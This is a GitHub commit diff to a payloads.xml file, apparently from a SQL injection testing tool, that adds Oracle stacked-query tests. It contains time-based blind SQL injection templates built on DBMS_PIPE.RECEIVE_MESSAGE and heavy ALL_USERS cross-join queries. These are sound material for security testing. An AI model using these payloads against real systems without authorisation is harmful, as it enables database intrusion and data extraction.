Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 7e2984b

Browse files
committed
added stacked query support for Oracle
1 parent 4bb40c0 commit 7e2984b

1 file changed

Lines changed: 11 additions & 31 deletions

File tree

xml/payloads.xml

Lines changed: 11 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -1344,35 +1344,15 @@ Formats:
13441344
</test>
13451345

13461346
<test>
1347-
<title>Oracle stacked queries (BEGIN DBMS_LOCK.SLEEP)</title>
1347+
<title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)</title>
13481348
<stype>4</stype>
13491349
<level>5</level>
13501350
<risk>0</risk>
13511351
<clause>0</clause>
13521352
<where>1</where>
1353-
<vector></vector>
1354-
<request>
1355-
<payload>; BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END;</payload>
1356-
<comment>--</comment>
1357-
</request>
1358-
<response>
1359-
<time>[SLEEPTIME]</time>
1360-
</response>
1361-
<details>
1362-
<dbms>Oracle</dbms>
1363-
</details>
1364-
</test>
1365-
1366-
<test>
1367-
<title>Oracle stacked queries (EXEC DBMS_LOCK.SLEEP)</title>
1368-
<stype>4</stype>
1369-
<level>5</level>
1370-
<risk>0</risk>
1371-
<clause>0</clause>
1372-
<where>1</where>
1373-
<vector></vector>
1353+
<vector>; SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL;</vector>
13741354
<request>
1375-
<payload>; EXEC DBMS_LOCK.SLEEP([SLEEPTIME].00);</payload>
1355+
<payload>; SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]', [SLEEPTIME]) FROM DUAL;</payload>
13761356
<comment>--</comment>
13771357
</request>
13781358
<response>
@@ -1384,19 +1364,19 @@ Formats:
13841364
</test>
13851365

13861366
<test>
1387-
<title>Oracle stacked queries (BEGIN USER_LOCK.SLEEP)</title>
1367+
<title>Oracle stacked queries (heavy query)</title>
13881368
<stype>4</stype>
13891369
<level>5</level>
13901370
<risk>0</risk>
13911371
<clause>0</clause>
13921372
<where>1</where>
1393-
<vector></vector>
1373+
<vector>; SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL;</vector>
13941374
<request>
1395-
<payload>; EXEC USER_LOCK.SLEEP([SLEEPTIME].00);</payload>
1375+
<payload>; SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5;</payload>
13961376
<comment>--</comment>
13971377
</request>
13981378
<response>
1399-
<time>[SLEEPTIME]</time>
1379+
<time>[DELAYED]</time>
14001380
</response>
14011381
<details>
14021382
<dbms>Oracle</dbms>
@@ -1572,9 +1552,9 @@ Formats:
15721552
<risk>1</risk>
15731553
<clause>1,2,3</clause>
15741554
<where>1</where>
1575-
<vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) ELSE [RANDNUM] END)</vector>
1555+
<vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5) ELSE [RANDNUM] END)</vector>
15761556
<request>
1577-
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)</payload>
1557+
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5)</payload>
15781558
</request>
15791559
<response>
15801560
<time>[DELAYED]</time>
@@ -1751,9 +1731,9 @@ Formats:
17511731
<risk>4</risk>
17521732
<clause>1,2,3</clause>
17531733
<where>2</where>
1754-
<vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) ELSE [RANDNUM] END)</vector>
1734+
<vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5) ELSE [RANDNUM] END)</vector>
17551735
<request>
1756-
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)</payload>
1736+
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5)</payload>
17571737
</request>
17581738
<response>
17591739
<time>[DELAYED]</time>

0 commit comments

Comments
 (0)